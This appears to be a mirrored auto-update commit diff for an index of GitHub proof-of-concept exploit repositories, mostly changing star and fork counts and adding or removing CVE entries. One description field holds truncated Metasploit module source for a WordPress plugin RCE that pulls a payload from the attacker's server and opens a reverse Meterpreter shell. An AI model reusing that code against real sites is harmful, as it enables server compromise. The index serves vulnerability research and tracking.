nomi-sec/PoC-in-GitHub
1
0 Fork 0
mirror of https://github.com/nomi-sec/PoC-in-GitHub.git synced 2026-11-07 08:30:25 -10:00
Code Issues Packages Projects Releases Wiki Activity

Auto Update 2026/09/25 08:01:40

Browse Source
This commit is contained in:
motikan2010-bot committed 2026-09-25 17:01:40 +09:00
1 parent f95ee41770
commit e660f4a379
66 files changed
+618 -319
Download Patch File Download Diff File Expand all files Collapse all files

No files matched your search

2006/CVE-2006-0987.json
+4 -4
View File
@@ -14,10 +14,10 @@
"description": "This script checks if each domain from a given domain list is vulnerable to CVE-2006-0987",
"fork": false,
"created_at": "2024-09-20T20:27:09Z",
"updated_at": "2025-11-25T20:27:36Z",
"updated_at": "2026-09-25T03:29:44Z",
"pushed_at": "2024-09-20T21:27:34Z",
"stargazers_count": 1,
"watchers_count": 1,
"stargazers_count": 2,
"watchers_count": 2,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
@@ -28,7 +28,7 @@
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 1,
"watchers": 2,
"score": 0,
"subscribers_count": 1
}
2013/CVE-2013-2028.json
+2 -2
View File
@@ -52,7 +52,7 @@
"stargazers_count": 55,
"watchers_count": 55,
"has_discussions": false,
"forks_count": 17,
"forks_count": 16,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -60,7 +60,7 @@
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 17,
"forks": 16,
"watchers": 55,
"score": 0,
"subscribers_count": 5
2014/CVE-2014-3566.json
+2 -2
View File
@@ -85,7 +85,7 @@
"stargazers_count": 267,
"watchers_count": 267,
"has_discussions": false,
"forks_count": 70,
"forks_count": 69,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -101,7 +101,7 @@
"sslv3"
],
"visibility": "public",
"forks": 70,
"forks": 69,
"watchers": 267,
"score": 0,
"subscribers_count": 15
2014/CVE-2014-6271.json
+33
View File
@@ -3237,5 +3237,38 @@
"watchers": 0,
"score": 0,
"subscribers_count": 0
},
{
"id": 1386578533,
"name": "linux-env-vars-shellshock-lab",
"full_name": "mgiftson0\/linux-env-vars-shellshock-lab",
"owner": {
"login": "mgiftson0",
"id": 136328052,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/136328052?v=4",
"html_url": "https:\/\/github.com\/mgiftson0",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/mgiftson0\/linux-env-vars-shellshock-lab",
"description": "technical research & analysis on linux process execution, SUID privilege escalation, LD_PRELOAD hooking, and CVE-2014-6271 (shellshock).",
"fork": false,
"created_at": "2026-09-25T01:54:01Z",
"updated_at": "2026-09-25T02:19:46Z",
"pushed_at": "2026-09-25T01:54:03Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2015/CVE-2015-4852.json
+2 -2
View File
@@ -19,7 +19,7 @@
"stargazers_count": 31,
"watchers_count": 31,
"has_discussions": false,
"forks_count": 19,
"forks_count": 15,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -27,7 +27,7 @@
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 19,
"forks": 15,
"watchers": 31,
"score": 0,
"subscribers_count": 3
2016/CVE-2016-5696.json
+2 -2
View File
@@ -52,7 +52,7 @@
"stargazers_count": 102,
"watchers_count": 102,
"has_discussions": false,
"forks_count": 29,
"forks_count": 28,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -60,7 +60,7 @@
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 29,
"forks": 28,
"watchers": 102,
"score": 0,
"subscribers_count": 6
2016/CVE-2016-8462.json
+2 -2
View File
@@ -19,7 +19,7 @@
"stargazers_count": 31,
"watchers_count": 31,
"has_discussions": false,
"forks_count": 8,
"forks_count": 7,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -27,7 +27,7 @@
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 8,
"forks": 7,
"watchers": 31,
"score": 0,
"subscribers_count": 5
2017/CVE-2017-0199.json
+2 -2
View File
@@ -387,7 +387,7 @@
"stargazers_count": 2,
"watchers_count": 2,
"has_discussions": false,
"forks_count": 2,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -395,7 +395,7 @@
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 2,
"forks": 0,
"watchers": 2,
"score": 0,
"subscribers_count": 2
2017/CVE-2017-5638.json
+4 -4
View File
@@ -460,7 +460,7 @@
"stargazers_count": 442,
"watchers_count": 442,
"has_discussions": false,
"forks_count": 134,
"forks_count": 133,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -474,7 +474,7 @@
"struts-pwn"
],
"visibility": "public",
"forks": 134,
"forks": 133,
"watchers": 442,
"score": 0,
"subscribers_count": 21
@@ -873,7 +873,7 @@
"stargazers_count": 10,
"watchers_count": 10,
"has_discussions": false,
"forks_count": 12,
"forks_count": 8,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -881,7 +881,7 @@
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 12,
"forks": 8,
"watchers": 10,
"score": 0,
"subscribers_count": 1
2018/CVE-2018-2894.json
+4 -4
View File
@@ -113,10 +113,10 @@
"description": "Ladon Scanner For Python, Large Network Penetration Scanner & Cobalt Strike, vulnerability \/ exploit \/ detection \/ MS17010\/SmbGhost\/CVE-2020-0796\/CVE-2018-2894",
"fork": false,
"created_at": "2019-11-19T16:51:39Z",
"updated_at": "2026-08-09T22:54:46Z",
"updated_at": "2026-09-25T02:22:44Z",
"pushed_at": "2020-12-08T15:39:24Z",
"stargazers_count": 52,
"watchers_count": 52,
"stargazers_count": 53,
"watchers_count": 53,
"has_discussions": false,
"forks_count": 19,
"allow_forking": true,
@@ -127,7 +127,7 @@
"topics": [],
"visibility": "public",
"forks": 19,
"watchers": 52,
"watchers": 53,
"score": 0,
"subscribers_count": 1
}
2020/CVE-2020-0796.json
+6 -6
View File
@@ -14,10 +14,10 @@
"description": "Ladon Scanner For Python, Large Network Penetration Scanner & Cobalt Strike, vulnerability \/ exploit \/ detection \/ MS17010\/SmbGhost\/CVE-2020-0796\/CVE-2018-2894",
"fork": false,
"created_at": "2019-11-19T16:51:39Z",
"updated_at": "2026-08-09T22:54:46Z",
"updated_at": "2026-09-25T02:22:44Z",
"pushed_at": "2020-12-08T15:39:24Z",
"stargazers_count": 52,
"watchers_count": 52,
"stargazers_count": 53,
"watchers_count": 53,
"has_discussions": false,
"forks_count": 19,
"allow_forking": true,
@@ -28,7 +28,7 @@
"topics": [],
"visibility": "public",
"forks": 19,
"watchers": 52,
"watchers": 53,
"score": 0,
"subscribers_count": 1
},
@@ -565,7 +565,7 @@
"stargazers_count": 57,
"watchers_count": 57,
"has_discussions": false,
"forks_count": 17,
"forks_count": 16,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -573,7 +573,7 @@
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 17,
"forks": 16,
"watchers": 57,
"score": 0,
"subscribers_count": 2
2020/CVE-2020-15368.json
+4 -4
View File
@@ -85,10 +85,10 @@
"description": "Reverse engineering research of ASRock AsrDrv103.sys (CVE-2020-15368), covering its driver interface, encrypted request protocol, and privileged hardware access primitives.",
"fork": false,
"created_at": "2026-09-23T16:14:39Z",
"updated_at": "2026-09-24T23:16:33Z",
"updated_at": "2026-09-25T04:35:23Z",
"pushed_at": "2026-09-23T16:48:40Z",
"stargazers_count": 5,
"watchers_count": 5,
"stargazers_count": 6,
"watchers_count": 6,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
@@ -99,7 +99,7 @@
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 5,
"watchers": 6,
"score": 0,
"subscribers_count": 0
}
2020/CVE-2020-16152.json
+4 -4
View File
@@ -47,10 +47,10 @@
"description": "### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080. The FQDN must also not resolve to a reserved address (192\/172\/127\/10). The server must also respond to a HEAD request for the payload, prior to getting a GET request. This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server. Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a double extension ('.gif.php') allowing for arbitrary PHP code to be executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https:\/\/blog.nintechnet.com\/improper-input-validation-fixed-in-wordpress-popular-posts-plugin\/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', 'https:\/\/plugins.trac.wordpress.org\/changeset\/2542638' ], [ 'URL', 'https:\/\/github.com\/cabrerahector\/wordpress-popular-posts\/commit\/d9b274cf6812eb446e4103cb18f69897ec6fe601' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php\/meterpreter\/reverse_tcp', 'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username of the account', 'admin']), OptString.new('PASSWORD', [true, 'Password of the account', 'admin']), OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '\/']), # https:\/\/github.com\/WordPress\/wordpress-develop\/blob\/5.8\/src\/wp-includes\/http.php#L560 OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192\/10\/127\/172)', '']), # https:\/\/github.com\/WordPress\/wordpress-develop\/blob\/5.8\/src\/wp-includes\/http.php#L584 OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts not a vulnerable version') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # loop this 5 times just incase there is a time delay in writing the file by the server (1..5).each do |i| print_status(\"Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5\") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('Failed to find payload, may not have uploaded correctly.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('Responding to initial HEAD request (passLine truncated
"fork": false,
"created_at": "2022-01-02T08:08:00Z",
"updated_at": "2026-08-30T17:43:16Z",
"updated_at": "2026-09-25T05:46:09Z",
"pushed_at": "2022-01-02T08:08:01Z",
"stargazers_count": 14,
"watchers_count": 14,
"stargazers_count": 15,
"watchers_count": 15,
"has_discussions": false,
"forks_count": 3,
"allow_forking": true,
@@ -61,7 +61,7 @@
"topics": [],
"visibility": "public",
"forks": 3,
"watchers": 14,
"watchers": 15,
"score": 0,
"subscribers_count": 0
}
2021/CVE-2021-1931.json
+10 -10
View File
@@ -47,12 +47,12 @@
"description": "My take on unlocking Xperia 5 SO-01M for p42 bootloader using CVE-2021-1931",
"fork": false,
"created_at": "2026-07-02T08:03:35Z",
"updated_at": "2026-07-02T23:51:50Z",
"updated_at": "2026-09-25T04:38:38Z",
"pushed_at": "2026-07-02T23:05:15Z",
"stargazers_count": 2,
"watchers_count": 2,
"stargazers_count": 3,
"watchers_count": 3,
"has_discussions": false,
"forks_count": 2,
"forks_count": 3,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -60,8 +60,8 @@
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 2,
"watchers": 2,
"forks": 3,
"watchers": 3,
"score": 0,
"subscribers_count": 0
},
@@ -80,10 +80,10 @@
"description": "Unlock the Meta Quest 1 bootloader and gain root access using GhostLock + CVE-2021-1931.",
"fork": false,
"created_at": "2026-07-31T05:37:56Z",
"updated_at": "2026-09-24T05:34:52Z",
"updated_at": "2026-09-25T03:19:48Z",
"pushed_at": "2026-08-28T12:08:00Z",
"stargazers_count": 203,
"watchers_count": 203,
"stargazers_count": 205,
"watchers_count": 205,
"has_discussions": false,
"forks_count": 8,
"allow_forking": true,
@@ -108,7 +108,7 @@
],
"visibility": "public",
"forks": 8,
"watchers": 203,
"watchers": 205,
"score": 0,
"subscribers_count": 5
}
2021/CVE-2021-22911.json
+4 -4
View File
@@ -344,10 +344,10 @@
"description": "CVE-2021-22911 Rocket.Chat NoSQL Injection RCE Exploit - Educational Purpose",
"fork": false,
"created_at": "2026-04-10T09:16:26Z",
"updated_at": "2026-04-11T14:45:59Z",
"updated_at": "2026-09-25T03:29:47Z",
"pushed_at": "2026-04-11T14:45:53Z",
"stargazers_count": 0,
"watchers_count": 0,
"stargazers_count": 1,
"watchers_count": 1,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
@@ -358,7 +358,7 @@
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"watchers": 1,
"score": 0,
"subscribers_count": 0
}
2021/CVE-2021-40444.json
+4 -4
View File
@@ -245,10 +245,10 @@
"description": "CVE-2021-40444 PoC",
"fork": false,
"created_at": "2021-09-10T16:55:53Z",
"updated_at": "2026-09-24T18:13:48Z",
"updated_at": "2026-09-25T04:22:03Z",
"pushed_at": "2021-12-25T18:31:02Z",
"stargazers_count": 1821,
"watchers_count": 1821,
"stargazers_count": 1823,
"watchers_count": 1823,
"has_discussions": false,
"forks_count": 473,
"allow_forking": true,
@@ -259,7 +259,7 @@
"topics": [],
"visibility": "public",
"forks": 473,
"watchers": 1821,
"watchers": 1823,
"score": 0,
"subscribers_count": 27
},
2021/CVE-2021-41773.json
-33
View File
@@ -4580,39 +4580,6 @@
"score": 0,
"subscribers_count": 0
},
{
"id": 1104398243,
"name": "CVE-2021-41773",
"full_name": "faizdotid\/CVE-2021-41773",
"owner": {
"login": "faizdotid",
"id": 61777096,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/61777096?v=4",
"html_url": "https:\/\/github.com\/faizdotid",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/faizdotid\/CVE-2021-41773",
"description": "Path Traversal Apache HTTP Server 2.4.49\/2.4.50",
"fork": false,
"created_at": "2025-11-26T06:50:58Z",
"updated_at": "2025-11-26T06:54:58Z",
"pushed_at": "2025-11-26T06:54:55Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
},
{
"id": 1132588885,
"name": "CVE-2021-41773-Analysis",
2021/CVE-2021-44228.json
+8 -8
View File
@@ -658,10 +658,10 @@
"description": "Hashes for vulnerable LOG4J versions",
"fork": false,
"created_at": "2021-12-10T18:06:06Z",
"updated_at": "2026-02-20T13:58:13Z",
"updated_at": "2026-09-25T05:14:14Z",
"pushed_at": "2021-12-17T17:02:24Z",
"stargazers_count": 155,
"watchers_count": 155,
"stargazers_count": 154,
"watchers_count": 154,
"has_discussions": false,
"forks_count": 36,
"allow_forking": true,
@@ -672,7 +672,7 @@
"topics": [],
"visibility": "public",
"forks": 36,
"watchers": 155,
"watchers": 154,
"score": 0,
"subscribers_count": 12
},
@@ -3873,10 +3873,10 @@
"description": "a fast check, if your server could be vulnerable to CVE-2021-44228",
"fork": false,
"created_at": "2021-12-13T04:14:18Z",
"updated_at": "2026-09-02T09:59:50Z",
"updated_at": "2026-09-25T05:14:07Z",
"pushed_at": "2022-01-21T11:43:49Z",
"stargazers_count": 247,
"watchers_count": 247,
"stargazers_count": 246,
"watchers_count": 246,
"has_discussions": true,
"forks_count": 83,
"allow_forking": true,
@@ -3887,7 +3887,7 @@
"topics": [],
"visibility": "public",
"forks": 83,
"watchers": 247,
"watchers": 246,
"score": 0,
"subscribers_count": 8
},
2022/CVE-2022-26766.json
+4 -4
View File
@@ -14,10 +14,10 @@
"description": "Proof-of-concept for CVE-2022-26766 on macOS 12.3.1",
"fork": false,
"created_at": "2022-07-02T06:16:33Z",
"updated_at": "2026-07-02T17:07:41Z",
"updated_at": "2026-09-25T01:05:31Z",
"pushed_at": "2022-07-02T17:14:41Z",
"stargazers_count": 90,
"watchers_count": 90,
"stargazers_count": 91,
"watchers_count": 91,
"has_discussions": false,
"forks_count": 14,
"allow_forking": true,
@@ -28,7 +28,7 @@
"topics": [],
"visibility": "public",
"forks": 14,
"watchers": 90,
"watchers": 91,
"score": 0,
"subscribers_count": 2
}
2023/CVE-2023-32434.json
+2 -2
View File
@@ -47,8 +47,8 @@
"description": "oob_entry tfp0 kernel exploit for armv7 iOS (iOS 3.0–10.3.4), using CVE-2023-32434. We will publish a write-up detailing the methods in the coming weeks. 🐙",
"fork": false,
"created_at": "2025-08-13T09:19:29Z",
"updated_at": "2026-09-25T00:40:01Z",
"pushed_at": "2026-09-25T00:39:56Z",
"updated_at": "2026-09-25T06:19:03Z",
"pushed_at": "2026-09-25T06:18:59Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
2023/CVE-2023-34152.json
+4 -4
View File
@@ -14,10 +14,10 @@
"description": "CVE-2023-34152",
"fork": false,
"created_at": "2023-09-27T03:37:25Z",
"updated_at": "2026-07-04T14:11:53Z",
"updated_at": "2026-09-25T04:41:26Z",
"pushed_at": "2023-09-27T03:41:30Z",
"stargazers_count": 10,
"watchers_count": 10,
"stargazers_count": 11,
"watchers_count": 11,
"has_discussions": false,
"forks_count": 2,
"allow_forking": true,
@@ -28,7 +28,7 @@
"topics": [],
"visibility": "public",
"forks": 2,
"watchers": 10,
"watchers": 11,
"score": 0,
"subscribers_count": 1
},
2024/CVE-2024-11680.json
-33
View File
@@ -31,38 +31,5 @@
"watchers": 12,
"score": 0,
"subscribers_count": 1
},
{
"id": 1197209697,
"name": "CVE-2024-11680",
"full_name": "qucklecrabik\/CVE-2024-11680",
"owner": {
"login": "qucklecrabik",
"id": 56404841,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/56404841?v=4",
"html_url": "https:\/\/github.com\/qucklecrabik",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/qucklecrabik\/CVE-2024-11680",
"description": "This repository contains a proof-of-concept (PoC) exploit for CVE-2024-11680, a critical vulnerability in ProjectSend r1605 and earlier versions. The exploit is aimed at incorrect authentication due to problems with incorrect privilege settings and command injection.",
"fork": false,
"created_at": "2026-03-31T12:10:32Z",
"updated_at": "2026-03-31T12:33:35Z",
"pushed_at": "2026-03-31T12:13:08Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": false,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2025/CVE-2025-24257.json
+2 -2
View File
@@ -14,8 +14,8 @@
"description": "Demonstrate CVE-2025-24257 with a public PoC for IOGPUFamily kernel heap OOB read\/write and panic analysis",
"fork": false,
"created_at": "2026-04-04T03:42:55Z",
"updated_at": "2026-09-25T01:09:40Z",
"pushed_at": "2026-09-25T01:09:36Z",
"updated_at": "2026-09-25T06:49:02Z",
"pushed_at": "2026-09-25T06:48:58Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
2025/CVE-2025-26125.json
+4 -4
View File
@@ -14,10 +14,10 @@
"description": "( 0day ) Local Privilege Escalation in IObit Malware Fighter",
"fork": false,
"created_at": "2025-01-08T05:50:07Z",
"updated_at": "2026-09-23T05:29:59Z",
"updated_at": "2026-09-25T06:31:46Z",
"pushed_at": "2025-03-30T00:44:12Z",
"stargazers_count": 171,
"watchers_count": 171,
"stargazers_count": 172,
"watchers_count": 172,
"has_discussions": false,
"forks_count": 22,
"allow_forking": true,
@@ -28,7 +28,7 @@
"topics": [],
"visibility": "public",
"forks": 22,
"watchers": 171,
"watchers": 172,
"score": 0,
"subscribers_count": 3
}
2025/CVE-2025-32463.json
+2 -2
View File
@@ -1496,8 +1496,8 @@
"description": "🔍 Demonstrate the CVE-2025-32463 privilege-escalation flaw in sudo's chroot feature with this minimal, reproducible proof of concept environment.",
"fork": false,
"created_at": "2025-09-20T00:42:07Z",
"updated_at": "2026-09-25T00:42:01Z",
"pushed_at": "2026-09-25T00:41:58Z",
"updated_at": "2026-09-25T06:20:57Z",
"pushed_at": "2026-09-25T06:20:53Z",
"stargazers_count": 2,
"watchers_count": 2,
"has_discussions": false,
2025/CVE-2025-39964.json
+4 -4
View File
@@ -47,8 +47,8 @@
"description": null,
"fork": false,
"created_at": "2026-09-20T05:55:14Z",
"updated_at": "2026-09-23T05:13:36Z",
"pushed_at": "2026-09-23T05:13:32Z",
"updated_at": "2026-09-25T07:10:23Z",
"pushed_at": "2026-09-25T07:10:18Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
@@ -80,8 +80,8 @@
"description": "Neutralizing CISA active Linux kernel CVEs (CVE-2025-39964, CVE-2026-53266, CVE-2025-39682) via modern eBPF, module disarmament, and containerd user namespaces.",
"fork": false,
"created_at": "2026-09-22T10:06:44Z",
"updated_at": "2026-09-24T16:35:45Z",
"pushed_at": "2026-09-24T16:35:41Z",
"updated_at": "2026-09-25T03:40:59Z",
"pushed_at": "2026-09-25T03:40:56Z",
"stargazers_count": 2,
"watchers_count": 2,
"has_discussions": false,
2025/CVE-2025-49844.json
+2 -2
View File
@@ -14,8 +14,8 @@
"description": "🔍 Explore and test the CVE-2025-49844 (RediShell) vulnerability in Redis with this practical lab environment for secure education and research.",
"fork": false,
"created_at": "2019-04-13T07:51:09Z",
"updated_at": "2026-09-25T00:46:02Z",
"pushed_at": "2026-09-25T00:45:58Z",
"updated_at": "2026-09-25T06:24:58Z",
"pushed_at": "2026-09-25T06:24:54Z",
"stargazers_count": 1,
"watchers_count": 1,
"has_discussions": false,
2025/CVE-2025-55182.json
-33
View File
@@ -6117,39 +6117,6 @@
"score": 0,
"subscribers_count": 0
},
{
"id": 1112039364,
"name": "rust-cve-2025-55182",
"full_name": "faizdotid\/rust-cve-2025-55182",
"owner": {
"login": "faizdotid",
"id": 61777096,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/61777096?v=4",
"html_url": "https:\/\/github.com\/faizdotid",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/faizdotid\/rust-cve-2025-55182",
"description": null,
"fork": false,
"created_at": "2025-12-08T04:11:25Z",
"updated_at": "2025-12-22T09:12:13Z",
"pushed_at": "2025-12-22T09:12:09Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
},
{
"id": 1112040472,
"name": "react2shell-checker",
2025/CVE-2025-66478.json
+2 -2
View File
@@ -14,8 +14,8 @@
"description": "🔧 Fix vulnerable versions in Next.js and React RSC apps with one command to secure against CVE-2025-66478. Improve your app's safety effortlessly.",
"fork": false,
"created_at": "2025-10-01T07:40:09Z",
"updated_at": "2026-09-25T00:53:13Z",
"pushed_at": "2026-09-25T00:53:09Z",
"updated_at": "2026-09-25T06:32:08Z",
"pushed_at": "2026-09-25T06:32:04Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
2025/CVE-2025-68613.json
+4 -4
View File
@@ -1210,10 +1210,10 @@
"description": "🛡️ Official AI Security Tool module for CVE-2026-21858 + CVE-2025-68613 (n8n \"Ni8mare\" Unauthenticated Arbitrary File Read & Expression Injection RCE Full Chain).",
"fork": false,
"created_at": "2026-09-12T00:03:07Z",
"updated_at": "2026-09-24T17:33:26Z",
"updated_at": "2026-09-25T07:29:43Z",
"pushed_at": "2026-09-12T00:08:10Z",
"stargazers_count": 40,
"watchers_count": 40,
"stargazers_count": 57,
"watchers_count": 57,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
@@ -1229,7 +1229,7 @@
],
"visibility": "public",
"forks": 0,
"watchers": 40,
"watchers": 57,
"score": 0,
"subscribers_count": 0
}
2025/CVE-2025-68921.json
+2 -2
View File
@@ -47,8 +47,8 @@
"description": "🔍 Identify and understand the local privilege escalation vulnerability (CVE-2025-68921) in Nahimic audio software, impacting many gaming laptops.",
"fork": false,
"created_at": "2026-01-24T21:00:41Z",
"updated_at": "2026-09-25T00:57:55Z",
"pushed_at": "2026-09-25T00:57:51Z",
"updated_at": "2026-09-25T06:37:06Z",
"pushed_at": "2026-09-25T06:37:02Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
2025/CVE-2025-9974.json
+35
View File
@@ -0,0 +1,35 @@
[
{
"id": 1386730775,
"name": "CVE-2025-9974",
"full_name": "HORKimhab\/CVE-2025-9974",
"owner": {
"login": "HORKimhab",
"id": 41143106,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/41143106?v=4",
"html_url": "https:\/\/github.com\/HORKimhab",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/HORKimhab\/CVE-2025-9974",
"description": "CVE-2025-9974 - Draft or TODO",
"fork": false,
"created_at": "2026-09-25T04:09:16Z",
"updated_at": "2026-09-25T04:17:49Z",
"pushed_at": "2026-09-25T04:17:45Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-14281.json
+35
View File
@@ -0,0 +1,35 @@
[
{
"id": 1387033204,
"name": "CVE-2026-14281",
"full_name": "murrez\/CVE-2026-14281",
"owner": {
"login": "murrez",
"id": 50166320,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/50166320?v=4",
"html_url": "https:\/\/github.com\/murrez",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/murrez\/CVE-2026-14281",
"description": "Unauthenticated privilege escalation in WordPress WAWP (Automation Web Platform) ≤ 4.8.6 via public REST signup and unsanitized wawp_custom_fields → admin. Python check\/exploit PoC (PoCbit).",
"fork": false,
"created_at": "2026-09-25T07:43:43Z",
"updated_at": "2026-09-25T07:44:09Z",
"pushed_at": "2026-09-25T07:44:06Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-20805.json
+4 -4
View File
@@ -193,10 +193,10 @@
"description": "🛡️ Official AI Security Tool module for CVE-2026-20805 (Desktop Window Manager \/ dwm.exe Information Disclosure & Memory Leak Diagnostic).",
"fork": false,
"created_at": "2026-09-10T11:28:38Z",
"updated_at": "2026-09-24T17:39:28Z",
"updated_at": "2026-09-25T08:02:56Z",
"pushed_at": "2026-09-11T16:33:15Z",
"stargazers_count": 45,
"watchers_count": 45,
"stargazers_count": 61,
"watchers_count": 61,
"has_discussions": false,
"forks_count": 1,
"allow_forking": true,
@@ -211,7 +211,7 @@
],
"visibility": "public",
"forks": 1,
"watchers": 45,
"watchers": 61,
"score": 0,
"subscribers_count": 0
}
2026/CVE-2026-20841.json
+2 -2
View File
@@ -14,8 +14,8 @@
"description": "🛠 Demonstrate remote code execution in Windows Notepad via markdown links exploiting unsecured URL protocols.",
"fork": false,
"created_at": "2024-09-22T12:19:06Z",
